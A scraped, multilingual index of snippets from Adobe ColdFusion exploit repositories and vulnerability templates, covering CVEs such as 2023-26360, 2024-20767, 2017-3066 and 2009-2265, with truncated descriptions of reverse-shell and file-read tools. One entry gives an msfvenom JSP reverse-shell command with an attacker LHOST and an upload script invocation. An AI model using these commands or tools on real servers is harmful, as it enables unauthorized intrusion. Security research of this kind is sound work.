ColdFusion_EXp

CVE-2023-29298/CVE-2023-26360 취약점 악용 리버스 셸 도구 소개 취약점 원리는 우리가 구성한 CFML 데이터 클라이언트 요청 데이터가 서버의 coldfusion-out.log에 저장된다는 것입니다. 이 디렉터리는 요청 오류 정보를 기록하며, coldfusion-out.log 파일 안에 우리가 작성한 코드가 들어가게 됩니다. 그런 다음 classname을 사용하여 이 로그 파일을 읽고 실행하여 코드 실행 효과를 얻습니다. 여기에 한 가지 아이디어가 있습니다. 악성 class를 서버에 업로드한 다음 이...

CVE-2024-20767

CVE-2024-20767 CVE-2024-20767 - 부적절한 접근 제어 취약점을 이용한 Adobe ColdFusion 임의 파일 시스템 읽기 자세한 내용은 ma4ter 의 블로그 게시물을 참조하십시오: Adobe ColdFusion任意文件读取漏洞CVE-2024-20767分析 영향을 받는 제품 및 버전: 제품| 영향을 받는 버전 ---|--- ColdFusion 2023| 업데이트 6 및 이전 버전 ColdFusion 2021| 업데이트 12 및 이전 버전 CVSS: 8.2 적극적으로 악용됨: 예 패치: 예 완화 조치:...

CVE-2026-48282

CVE-2026-48282-POC CVE-2026-48282 는 Adobe ColdFusion의 Remote Development Service RDS에서 발생하는 경로 탐색path traversal 취약점으로, CVSS 점수는 10.0 Critical입니다. 인증되지 않은 공격자가 /CFIDE/main/ide.cfm 엔드포인트를 통해 임의 파일을 읽고 쓸 수 있으며, 이는 원격 코드 실행RCE으로 이어집니다. 설치 Clone the repository git clone...

ColdFusionPwn

ColdFusionPwn Adobe Coldfusion 11/12를 대상으로 하는 CVE-2017-3066 공격 도구입니다. 설명 이 도구를 사용하면 허용된 클래스에 대한 입력 검증 누락을 악용하기 위한 직렬화된 AMF 페이로드를 생성할 수 있습니다. 자세한 내용은 블로그 게시물을 참조하세요. 설치 최신 버전의 ysoserial을 받으세요. 릴리스에서 ColdFusionPwn을 받으세요. 사용법 java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-master-SNAPSHOT.ja...

Adobe ColdFusion - Cross-Site Scripting

Adobe Coldfusion versions 2016 update 16 and earlier, 2018 update 10 and earlier and 2021.0.0.323925 are affected by an Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' vulnerability. An attacker could abuse this vulnerability to execute arbitrary JavaScript code...

Adobe ColdFusion 8.0/8.0.1/9.0/9.0.1 LFI

Multiple directory traversal vulnerabilities in the administrator console in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the locale parameter to 1 CFIDE/administrator/settings/mappings.cfm, 2 logging/settings.cfm, 3 datasources/index.cfm, 4...

Adobe ColdFusion - Deserialization of Untrusted Data

Adobe ColdFusion versions 2018u17 and earlier, 2021u7 and earlier and 2023u1 and earlier are affected by a Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction. id: CVE-2023-38203 info: name:...

Adobe Coldfusion <=8.0.1 - Cross-Site Scripting

Adobe ColdFusion Server 8.0.1 and earlier contain multiple cross-site scripting vulnerabilities which allow remote attackers to inject arbitrary web script or HTML via 1 the startRow parameter to administrator/logviewer/searchlog.cfm, or the query string to 2 wizards/common/logintowizard.cfm, 3...

Adobe ColdFusion WDDX Deserialization Gadgets

Adobe ColdFusion versions 2023.5 and earlier and 2021.11 and earlier are affected by an Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction. id: CVE-2023-44353 info: name: Adobe ColdFusion WDDX...

Adobe Coldfusion - Authentication Bypass

Adobe ColdFusion versions 2023.5 and earlier and 2021.11 and earlier are affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An unauthenticated attacker could leverage this vulnerability to access the administration CFM and CFC endpoints...

Adobe Coldfusion - Cross-Site Scripting

Adobe ColdFusion versions 2023.5 and earlier and 2021.11 and earlier are affected by a reflected Cross-Site Scripting XSS vulnerability. If an unauthenticated attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within th...

Adobe ColdFusion - RDS Arbitrary File Write

ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory 'Path Traversal' vulnerability that could lead to arbitrary code execution in the context of the current user. The RDS FILEIO WRITE operation allows unauthenticated...

clusterd

clusterd clusterd는 오픈 소스 애플리케이션 서버 공격 툴킷입니다. 현재 핑거프린팅 및 익스플로잇 방법에 대한 불만에서 비롯되어, clusterd는 애플리케이션 서버 공격의 핑거프린팅, 정찰, 익스플로잇 단계를 자동화합니다. 자세한 내용은 위키를 참조하세요. 요구 사항 Python = 2.7.x Requests = 2.2.x 설치 clusterd의 권장 설치는 Github 저장소를 클론하는 것입니다. git clone https://github.com/hatRiot/clusterd.git clusterd 기능...

cve-2018-15961

CVE-2018-15961 이것은 Cved의 일부입니다: 취약한 도커 컨테이너를 관리하는 도구입니다. Cved: https://github.com/git-rep-src/cved 이미지 소스: https://github.com/cved-sources/cve-2018-15961 이미지 작성자: https://bintray.com/eaps/coldfusion/cf%3Acoldfusion/2018.0.0...

CVE-2009-2265

CVE-2009-2265 - Adobe ColdFusion 8 파일 업로드 RCE CVE-2009-2265 익스플로잇에 대한 POC의 Rust 구현, Adobe ColdFusion 8을 대상으로 합니다. 취약점 개요 이 취약점은 인증되지 않은 공격자가 Adobe ColdFusion 8을 실행하는 서버의 웹 접근 가능 디렉터리에 임의의 파일을 업로드하여 원격 코드 실행RCE을 유발할 수 있게 합니다. 기술적 세부사항 취약점 : 널 바이트 주입을 통한 디렉터리 트래버설 구성 요소 : FCKeditor upload.cfm 커넥터...

CVE-2023-26360-adobe-coldfusion-rce-exploit

Adobe ColdFusion의 심각한 취약점 CVE-2023-26359, CVE-2023-26360 및 CVE-2023-26359 2023년 3월 8일, Adobe는 인기 있는 웹 애플리케이션 개발 플랫폼인 Adobe ColdFusion의 심각한 취약점을 해결하기 위해 보안 업데이트를 발표했습니다. 부적절한 접근 제어 및 안전하지 않은 역직렬화로 분류된 이러한 취약점은 공격자가 신뢰할 수 없는 데이터가 포함된 특수하게 조작된 요청을 ColdFusion 서버에 전송할 때 무단 원격 코드 실행RCE으로 이어집니다. 이 취약점의...

CVE-2009-2265

버전: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp 예시 :...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE このリポジトリには、Adobe ColdFusion 2018 の RCE 脆弱性に対するエクスプロイトコードが含まれています。 エクスプロイトの説明 このエクスプロイトは、JSP リバースシェルを含む POST リクエストを /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm に送信します。成功すると、シェルが...

CVE-2017-3066

CVE-2017-3066 설명 Adobe ColdFusion은 Action Message FormatAMF을 사용합니다. AMF 프로토콜은 사용자 정의 이진 직렬화 프로토콜입니다. 두 가지 형식AMF0 및 AMF3이 있습니다. Action 메시지는 헤더와 바디로 구성됩니다. 다양한 언어로 AMF 구현이 존재합니다. Java의 경우 Adobe BlazeDS현재 Apache BlazeDS가 있으며, 이는 Adobe ColdFusion에서도 사용됩니다. Adobe ColdFusion은 Apache BlazeDS 라이브러리에서 신뢰할...

Adobe_ColdFusion_RCE_Unauthenticated

CVE-2023-26360 — Adobe ColdFusion 인증되지 않은 RCE CVE-2023-26360용 원격 코드 실행 익스플로잇의 Python 구현으로, 원본 Metasploit 모듈과 jakabakos의 선행 연구 분석을 기반으로 합니다. 존재 이유 jakabakos PoC는 를 variables 파라미터에 직접 주입하고 ColdFusion 로그에서 출력을 단일 단계로 읽으려고 시도합니다. 그러나 ColdFusion은 해당 컨텍스트에서 CFML 태그를 인라인으로 평가하지 않기 때문에 이 접근 방식은 실패하며, 코드 ...